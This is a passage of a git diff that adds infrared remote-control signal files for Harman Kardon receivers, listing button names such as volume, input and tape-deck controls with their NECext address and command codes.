AM/FM_#_(P-SCAN) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 96 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9B 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9B 00 00 00 +# +name: DIRECT/M3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9B 00 00 00 +# +name: ON_(MAIN_POWER) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9C 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9D 00 00 00 +# +name: AM/FM_9_(YZ) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9D 00 00 00 +# +name: TUNER_PRESET_9 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9E 00 00 00 +# +name: AM/FM_0_(CLEAR) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9F 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9F 00 00 00 +# +name: OFF_(MAIN_POWER) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9F 00 00 00 +# +name: RECEIVER_POWER_OFF +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9F 00 00 00 +# +name: SOURCE_CABLE/SAT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: B0 00 00 00 +# +name: SOURCE_TV +type: parsed +protocol: NECext +address: 80 70 00 00 +command: B1 00 00 00 +# +name: SOURCE_GAME +type: parsed +protocol: NECext +address: 80 70 00 00 +command: B2 00 00 00 +# +name: SOURCE_MEDIA_SERVR +type: parsed +protocol: NECext +address: 80 70 00 00 +command: B3 00 00 00 +# +name: SOURCE_AUX +type: parsed +protocol: NECext +address: 80 70 00 00 +command: B4 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 80 70 00 00 +command: B6 00 00 00 +# +name: BACK/EXIT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: B7 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 80 70 00 00 +command: B8 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: BD 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: BE 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 80 70 00 00 +command: BF 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: RECEIVER_POWER +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: AVR30_POWER +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: AVR +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: IN_AVR +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: AVR_/_ON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: ON/AVR +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C1 00 00 00 +# +name: VOLUME_MUTE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C1 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C1 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C1 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C2 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C3 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C4 00 00 00 +# +name: IN_CD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C4 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C4 00 00 00 +# +name: A/V +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C5 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C5 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C6 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C7 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C7 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C7 00 00 00 +# +name: MASTER_VOLUME_^ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C7 00 00 00 +# +name: VOLUME+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C7 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C7 00 00 00 +# +name: VOLYM_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C7 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C8 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C8 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C8 00 00 00 +# +name: MASTER_VOLUME_V +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C8 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C8 00 00 00 +# +name: VOLYM_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C8 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VCR1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VID1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VCR/TAPE1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: IN_VIDEO_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VID_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: INPUT_VIDEO_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VCR1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: VCR2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: VID2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: VCR/TAPE2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: IN_VIDEO_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: VID_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: INPUT_VIDEO_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: VCR2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: TAPE/CDR +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CC 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CC 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CC 00 00 00 +# +name: IN_TAPE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CC 00 00 00 +# +name: TAPE1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CC 00 00 00 +# +name: TAPE_MON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CC 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CD 00 00 00 +# +name: TAPE_MON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CD 00 00 00 +# +name: IN_AUX +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CD 00 00 00 +# +name: TAPE2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CD 00 00 00 +# +name: TAPE_MON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CD 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: TV/AUX +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: VID3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: IN_VIDEO_3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: VIDEO3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: TV_/_AUX +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: VID_3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: INPUT_VIDEO_3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: TV/AUX +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D0 00 00 00 +# +name: IN_DVD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D0 00 00 00 +# +name: VDP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D0 00 00 00 +# +name: SOURCE_DVD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D0 00 00 00 +# +name: VIDEO4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D1 00 00 00 +# +name: VCP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D1 00 00 00 +# +name: VID_4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D1 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D1 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D2 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D3 00 00 00 +# +name: R_LEV_^(REAR_LEVEL) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D7 00 00 00 +# +name: SURR_REAR_LVL_^ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D7 00 00 00 +# +name: REAR_LEVEL+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D7 00 00 00 +# +name: REAR_LEVEL_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D7 00 00 00 +# +name: REAR_LEVEL_^ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D7 00 00 00 +# +name: R_LEV_V(REAR_LEVEL) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D8 00 00 00 +# +name: SURR_REAR_LVL_V +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D8 00 00 00 +# +name: REAR_LEVEL- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D8 00 00 00 +# +name: REAR_LEVEL_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D8 00 00 00 +# +name: REAR_LEVEL_V +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D8 00 00 00 +# +name: SURR_CENTER_LVL_^ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D9 00 00 00 +# +name: CENTER_LEVEL+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D9 00 00 00 +# +name: CENTER_LEVEL_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D9 00 00 00 +# +name: SURR_CENTER_LVL_V +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DA 00 00 00 +# +name: CENTER_LEVEL- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DA 00 00 00 +# +name: CENTER_LEVEL_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DA 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DB 00 00 00 +# +name: CHAN_UP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DB 00 00 00 +# +name: CH+_/_SLEEP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DB 00 00 00 +# +name: SLEEP/CH_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DB 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DB 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DC 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DC 00 00 00 +# +name: DIM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DC 00 00 00 +# +name: THE_BRIDGE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: F1 00 00 00 +# +name: SOURCE_THE_BRIDGE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: F1 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 80 70 00 00 +command: F2 00 00 00 +# +name: IN_HDMI_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: F2 00 00 00 +# +name: HDMI_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: F2 00 00 00 +# +name: IN_HDMI_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: F3 00 00 00 +# +name: HDMI_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: F3 00 00 00 +# +name: XM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: F4 00 00 00 +# +name: VIDEO_MODES +type: parsed +protocol: NECext +address: 80 70 00 00 +command: FB 00 00 00 +# +name: IN_HDMI_3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: FC 00 00 00 +# +name: AVR30_0/9 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir new file mode 100644 index 000000000..9afa62106 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir @@ -0,0 +1,1688 @@ +Filetype: IR signals file +Version: 1 +# +name: CAS.PLAY_> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 01 00 00 00 +# +name: CASS_PLAY_> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 01 00 00 00 +# +name: CASS_TRACK+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 01 00 00 00 +# +name: CASS_FAST_FORWARD +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 01 00 00 00 +# +name: CASS.DECK_PLAY_> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 01 00 00 00 +# +name: TAPE1_PLAY_> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 01 00 00 00 +# +name: TAPE_PLAY_>_(AF) +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 01 00 00 00 +# +name: CAS.REV.PLAY_< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 02 00 00 00 +# +name: CASS_REV_PLAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 02 00 00 00 +# +name: CASS_REV.PLAY_< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 02 00 00 00 +# +name: CASS_TRACK- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 02 00 00 00 +# +name: CASS_REWIND +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 02 00 00 00 +# +name: CASS.DECK_REV_PLAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 02 00 00 00 +# +name: TAPE1_REV_PLAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 02 00 00 00 +# +name: TAPE_REV_PLAY_<_(FM) +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 02 00 00 00 +# +name: CAS.STOP_[] +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 03 00 00 00 +# +name: CASS_STOP_[] +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 03 00 00 00 +# +name: CASS_STOP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 03 00 00 00 +# +name: CASS_DECK_STOP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 03 00 00 00 +# +name: CASS.DECK_STOP_[] +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 03 00 00 00 +# +name: TAPE1_STOP_[] +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 03 00 00 00 +# +name: TAPE_STOP_[]_(RDS) +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 03 00 00 00 +# +name: CAS.F.FWD_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 04 00 00 00 +# +name: CASS_FWD_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 04 00 00 00 +# +name: CASS_F.FWD_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 04 00 00 00 +# +name: CASS_SCAN+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 04 00 00 00 +# +name: CASS_SEARCH>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 04 00 00 00 +# +name: CASS.DECK_FF_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 04 00 00 00 +# +name: TUNING_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 04 00 00 00 +# +name: TAPE1_TUNE/SRCH_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 04 00 00 00 +# +name: TAPE_TUNE/SCH_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 04 00 00 00 +# +name: CAS.REW_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 05 00 00 00 +# +name: CASS_REW_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 05 00 00 00 +# +name: CASS_SCAN- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 05 00 00 00 +# +name: CASS_SEARCH<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 05 00 00 00 +# +name: CASS.DECK_REW_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 05 00 00 00 +# +name: TUNING_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 05 00 00 00 +# +name: TAPE1_TUNE/SRCH_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 05 00 00 00 +# +name: TAPE_TUNE/SCH_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 05 00 00 00 +# +name: CAS.REC/PAUSE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 06 00 00 00 +# +name: CASS_REC/PAUSE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 06 00 00 00 +# +name: CASS_PAUSE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 06 00 00 00 +# +name: CASS_RECORD +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 06 00 00 00 +# +name: CASS.DECK_REC/PAUSE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 06 00 00 00 +# +name: TAPE1_PAUSE_ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 06 00 00 00 +# +name: TAPE_REC/PAUSE_(PTY) +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 06 00 00 00 +# +name: CAS.SKIP_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 08 00 00 00 +# +name: CASS_SKIP_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 08 00 00 00 +# +name: CASS.DECK_SRCH_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 08 00 00 00 +# +name: TAPE1_CHAN/SKIP_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 08 00 00 00 +# +name: TAPE_SKIP_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 08 00 00 00 +# +name: CAS.SKIP_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 09 00 00 00 +# +name: CASS_SKIP_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 09 00 00 00 +# +name: CASS.DECK_SRCH_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 09 00 00 00 +# +name: TAPE1_CHAN/SKIP_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 09 00 00 00 +# +name: TAPE_SKIP_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 09 00 00 00 +# +name: #_(P-SCAN) +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 0A 00 00 00 +# +name: CASS_SELECT_A/B +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 1D 00 00 00 +# +name: CASS_A-B +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 1D 00 00 00 +# +name: TAPE1_DISC/DECK/ANT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 1D 00 00 00 +# +name: TAPE_PRESET_DISC_+/- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 1D 00 00 00 +# +name: CASS_A/B_(SELECT) +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 1D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 21 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 21 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 22 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 22 00 00 00 +# +name: DVD_POWER_OFF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 22 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 28 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 29 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2A 00 00 00 +# +name: DVD_PLAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2B 00 00 00 +# +name: DVD_STOP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2D 00 00 00 +# +name: SKIP_NER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 30 00 00 00 +# +name: DVD_SKIP_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 30 00 00 00 +# +name: SKIP_UPP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 31 00 00 00 +# +name: DVD_SKIP_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 31 00 00 00 +# +name: TAPE1_SOURCE_POW_ON +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 40 00 00 00 +# +name: TAPE_ON_(SRCE_PWR) +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 40 00 00 00 +# +name: TAPE1_SOURCE_POW_OFF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 41 00 00 00 +# +name: TAPE_OFF_(SRCH_PWR) +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 41 00 00 00 +# +name: DOLBY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 50 00 00 00 +# +name: DOLBY_SUR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 50 00 00 00 +# +name: AC-3 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 50 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 52 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 52 00 00 00 +# +name: PREV_CH_/_DELAY_/_BL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 52 00 00 00 +# +name: PREV._CH./DELAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 52 00 00 00 +# +name: SPKR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 53 00 00 00 +# +name: SPEAKER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 53 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 53 00 00 00 +# +name: MENU_/_SPKR_/_GRE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 53 00 00 00 +# +name: MENU/SPKR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 53 00 00 00 +# +name: DIGITAL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 54 00 00 00 +# +name: DIGITAL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 54 00 00 00 +# +name: EXIT_/_DIGITAL_/_YEL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 54 00 00 00 +# +name: EXIT/DIGITAL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 54 00 00 00 +# +name: RF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 55 00 00 00 +# +name: OPT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 56 00 00 00 +# +name: OPTICAL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 56 00 00 00 +# +name: COAX +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 57 00 00 00 +# +name: CHAN_DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 58 00 00 00 +# +name: CH-_/_SURR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 58 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 58 00 00 00 +# +name: SURR./CH_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 58 00 00 00 +# +name: SURR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 58 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5C 00 00 00 +# +name: AVR_(MENY) +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5C 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5C 00 00 00 +# +name: CH +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5D 00 00 00 +# +name: CHANNEL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5D 00 00 00 +# +name: CH. +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5D 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5D 00 00 00 +# +name: GUIDE_/_CH_/_RED +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5D 00 00 00 +# +name: CH +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5D 00 00 00 +# +name: GUIDE/CH +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5D 00 00 00 +# +name: CH_SELECT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5D 00 00 00 +# +name: CH._SELECT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5D 00 00 00 +# +name: ON_SCREEN_^ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 80 00 00 00 +# +name: ON_SCREEN_^ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 80 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 80 00 00 00 +# +name: SELECT_^ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 80 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 80 00 00 00 +# +name: ON_SCREEN_V +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 81 00 00 00 +# +name: ON_SCREEN_V +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 81 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 81 00 00 00 +# +name: SELECT_V +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 81 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 81 00 00 00 +# +name: ON_SCREEN_> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 82 00 00 00 +# +name: ON_SCREEN_> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 82 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 82 00 00 00 +# +name: SELECT_> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 82 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 82 00 00 00 +# +name: ON_SCREEN_< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 83 00 00 00 +# +name: ON_SCREEN_< +type: parsed +protocol: NECext +address: 82 72 00 00 